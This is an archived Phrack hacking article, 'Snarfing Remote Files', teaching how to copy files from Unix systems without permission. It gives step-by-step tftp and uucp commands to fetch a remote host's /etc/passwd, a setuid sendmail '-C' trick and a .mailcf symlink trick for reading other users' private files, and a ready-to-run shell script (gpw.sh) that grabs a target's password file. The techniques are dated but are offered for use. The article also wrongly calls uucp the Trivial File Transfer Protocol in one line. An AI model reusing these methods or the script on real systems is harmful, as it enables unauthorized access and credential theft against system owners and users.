home *** CD-ROM | disk | FTP | other *** search
-
- ==Phrack Inc.==
-
- Volume Three, Issue 28, File #6 of 12
- +++++++++++++++++++++++++++++++++++++
- + +
- + Snarfing Remote Files +
- + +
- + by +
- + +
- + Dark OverLord +
- + +
- +++++++++++++++++++++++++++++++++++++
-
- There are many ways of getting copies of files from a remote system that you
- do not have permission to read or an account on login on to and access them
- through. Many administrators do not even bother to restrict many access
- points that you can use.
-
- Here are the simplest ways:
-
-
- A) Use uucp(1) [Trivial File Transfer Protocol] to retrieve a copy
- of a file if you are running on an Internet based network.
-
- B) Abuse uucp(1) [Unix to Unix Copy Program] to retrieve a copy of a file
- if uucp connections are running on that system.
-
- C) Access one of many known security loopholes.
-
-
- In the following examples, we will use the passwd file as the file to acquire
- since it is a readable file that can be found on most systems that these
- attacks are valid on.
-
- Method A :
-
- 1) First start the tftp program:
- Enter the command:
-
- tftp
-
- [You have the following prompt:]
-
- tftp>
-
-
- 2) The next step is to connect to the system that you wish to retrieve files
- from. At the tftp, type:
-
- tftp> connect other.system.com
-
-
- 3) Now request the file you wish to get a copy of (in our case, the
- passwd file /etc/passwd ):
-
- tftp> get /etc/passwd /tmp/passwd
-
- [You should see something that looks like the following:]
-
- Received 185659 bytes in 22 seconds.
-
- 4) Now exit the tftp program with the "quit" command:
-
- tftp> quit
-
- You should now have a copy of other.system.com's passwd file in your directory.
-
- NOTE: Some Unix systems' tftp programs have a different syntax. The above was
- tested under SunOS 4.0
-
- For example, on Apollos, the syntax is:
-
- tftp -{g|g!|p|r|w} <local file> <host> <foreign file> [netascii|image]
-
- Thus you must use the command:
-
- tftp -g password_file networked-host /etc/passwd
-
- Consult your local "man" pages for more info (or in other words RTFM).
-
- At the end of this article, I will include a shell script that will snarf a
- password file from a remote host. To use it type:
-
- gpw system_name
-
- Method B :
-
- Assuming we are getting the file /etc/passwd from the system uusucker, and
- our system has a direct uucp connection to that system, it is possible to
- request a copy of the file through the uucp links. The following command will
- request that a copy of the passwd file be copied into uucp's home directory
- /usr/spool/uucppublic :
-
- uucp -m uusucker!/etc/passwd '>uucp/uusucker_passwd'
-
- The flag "-m" means you will be notified by mail when the transfer is
- completed.
-
- Method C:
-
- The third possible way to access the desired file requires that you have
- the login permission to the system.
-
- In this case we will utilize a well-known bug in Unix's sendmail daemon.
-
- The sendmail program has and option "-C" in which you can specify the
- configuration file to use (by default this file is /usr/lib/sendmail.cf or
- /etc/sendmail.cf). It should also be noted that the diagnostics outputted by
- sendmail contain the offending lines of text. Also note that the sendmail
- program runs setuid root.
-
- The way you can abuse this set of facts (if you have not yet guessed) is by
- specifying the file you wish read as the configuration file. Thus the command:
-
- sendmail -C/usr/accounts/random_joe/private/file
-
- Will give you a copy of random joe's private file.
-
- Another similar trick is to symlink your .mailcf file to joe's file and mail
- someone. When mail executes sendmail (to send the mail), it will load in your
- mailcf and barf out joe's stuff.
-
- First, link joe's file to your .mailcf .
-
- ln -s /usr/accounts/random_joe/private/file $HOME/.mailcf
-
- Next, send mail to someone.
-
- mail C488869@umcvmb.missouri.edu
-
- And have fun.
-
- -=-Cut Here=-=-=-Cut Here=-=-=- gpw.sh =-=-=-Cut Here=-=-=-=-Cut Here=-=-=-=-=
- :
- : gpw copyright(c) Dark Overlord
- :
- /usr/ucb/tftp $1 << EOF
- mode ascii
- verbose
- trace
- get /etc/passwd /tmp/pw.$1
- quit
- EOF
- -=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-=-Cut Here=-=-=-=-=
- _______________________________________________________________________________
-
- ** END OF MESSAGE **
- #EOI
-
-
-
- [M] PHRACK: Type
-